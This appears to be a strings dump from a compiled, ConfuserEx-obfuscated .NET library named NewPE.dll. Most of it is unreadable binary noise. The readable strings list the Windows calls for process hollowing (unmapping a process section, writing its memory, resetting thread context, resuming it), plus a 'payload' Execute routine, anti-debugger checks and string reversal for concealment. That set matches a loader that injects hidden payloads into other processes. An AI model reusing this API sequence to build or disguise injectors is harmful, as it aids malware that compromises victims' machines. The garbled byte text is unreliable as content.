!This program cannot be run in DOS mode.
`.rsrc
@.reloc
yjIOa%
wZ dkL=a89
Z ?_b`
d=ya8w
<6Q;%+
Ohcy8
JVwr%&8?
nZ ; Q(a8
M>Ca8E
0zi:%&8
*/n=Z !!
0kq%&8
Kmn%&8
Qc?Z {
-t1Z 9IS
OZ zBg$a8
;a%&8<
#47Z x
qg[!Z
h5p}Z
~c Za8w
b{crZ
BN*r+
_bj2
_bY*
+_ 4Aj
ewyFa%
_XZa8
@ )!Goa%
f{u%&8r
cZ l(!`a8Z
<Z oK1Wa8g
?iO[%&8
Z Q\qna8
[Yd %+
mcZa8|
8j!%&8
[Yd %+
4p3%&8<
PU`Z S
e>Ea8,
Z _bX
> 'r94a%
yZ xAy
Y _cX*
nYVa8\
yBT x9*
q~Z W<
`NSx
SZ EHtMa8b
*S@a8f
Z Lb5ca+
_[CP I
* E^EE
SJZa8]
&/W(%+
* ~^S(Za8
WH%&8O
|q Za8
* ]CUuZ
(>{9Z 1
7(4DZ y
v4.0.30319
#Strings
NewPE.dll
mscorlib
SuppressIldasmAttribute
System.Runtime.CompilerServices
<Module>
Assembly
System.Reflection
.cctor
System
RuntimeTypeHandle
MethodInfo
MethodBase
Thread
System.Threading
ParameterizedThreadStart
ResolveEventArgs
ValueType
Object
Stream
System.IO
ResumeThread
Wow64SetThreadContext
SetThreadContext
Wow64GetThreadContext
GetThreadContext
VirtualAllocEx
WriteProcessMemory
ReadProcessMemory
ZwUnmapViewOfSection
CreateProcessA
LoadLibraryA
kernel32
GetProcAddress
ReturnParams
Delegate
StringSplitOptions
APIDelegate
ResumeThread_Delegate
MulticastDelegate
object
method
Invoke
handle
BeginInvoke
IAsyncResult
AsyncCallback
callback
EndInvoke
result
Wow64SetThreadContext_Delegate
thread
context
SetThreadContext_Delegate
Wow64GetThreadContext_Delegate
GetThreadContext_Delegate
VirtualAllocEx_Delegate
address
length
protect
WriteProcessMemory_Delegate
process
baseAddress
buffer
bufferSize
bytesWritten
ReadProcessMemory_Delegate
bytesRead
ZwUnmapViewOfSection_Delegate
CreateProcessA_Delegate
applicationName
commandLine
processAttributes
threadAttributes
inheritHandles
creationFlags
environment
currentDirectory
startupInfo
processInformation
ToInt16
startIndex
ToInt32
GetBytes
Execute
payload
MemberInfo
ParameterInfo
Exception
Process
System.Diagnostics
Structure
ProcessInformation
ProcessHandle
ThreadHandle
ProcessId
ThreadId
StartupInformation
Reserved1
Desktop
Reserved2
StdInput
StdOutput
StdError
ConfusedByAttribute
Attribute
CompilationRelaxationsAttribute
RuntimeCompatibilityAttribute
DebuggableAttribute
DebuggingModes
AssemblyTitleAttribute
AssemblyDescriptionAttribute
AssemblyConfigurationAttribute
AssemblyCompanyAttribute
AssemblyProductAttribute
AssemblyCopyrightAttribute
AssemblyTrademarkAttribute
ComVisibleAttribute
System.Runtime.InteropServices
GuidAttribute
AssemblyFileVersionAttribute
TargetFrameworkAttribute
System.Runtime.Versioning
Environment
String
GetTypeFromHandle
GetMethod
Concat
FailFast
set_IsBackground
get_CurrentThread
Debugger
get_IsAttached
IsLogging
get_IsAlive
MemoryStream
ReadByte
get_Length
UInt32
RuntimeHelpers
InitializeArray
RuntimeFieldHandle
Buffer
BlockCopy
GetElementType
CreateInstance
Encoding
System.Text
get_UTF8
GetString
Intern
AppDomain
get_CurrentDomain
ResolveEventHandler
add_AssemblyResolve
get_FullName
get_Name
op_Equality
Marshal
GetDelegateForFunctionPointer
Microsoft.VisualBasic
Strings
StrReverse
BitConverter
IntPtr
get_Size
GetMethods
GetParameters
get_ParameterType
SizeOf
Convert
ToUInt32
GetProcessById
ConfuserEx v0.6.0
WrapNonExceptionThrows
Copyright
2022
$e06fcce8-7adc-4d71-9673-cf28fd8a5637
1.0.0.0
.NETFramework,Version=v4.5
FrameworkDisplayName
.NET Framework 4.5
_CorDllMain
mscoree.dll
GetEnvironmentVariable
_ENABLE_PROFILING
_PROFILER
VS_VERSION_INFO
VarFileInfo
Translation
StringFileInfo
000004b0
Comments
CompanyName
FileDescription
FileVersion
1.0.0.0
InternalName
NewPE.dll
LegalCopyright
Copyright
2022
LegalTrademarks
OriginalFilename
NewPE.dll
ProductName
ProductVersion
1.0.0.0
Assembly Version
1.0.0.0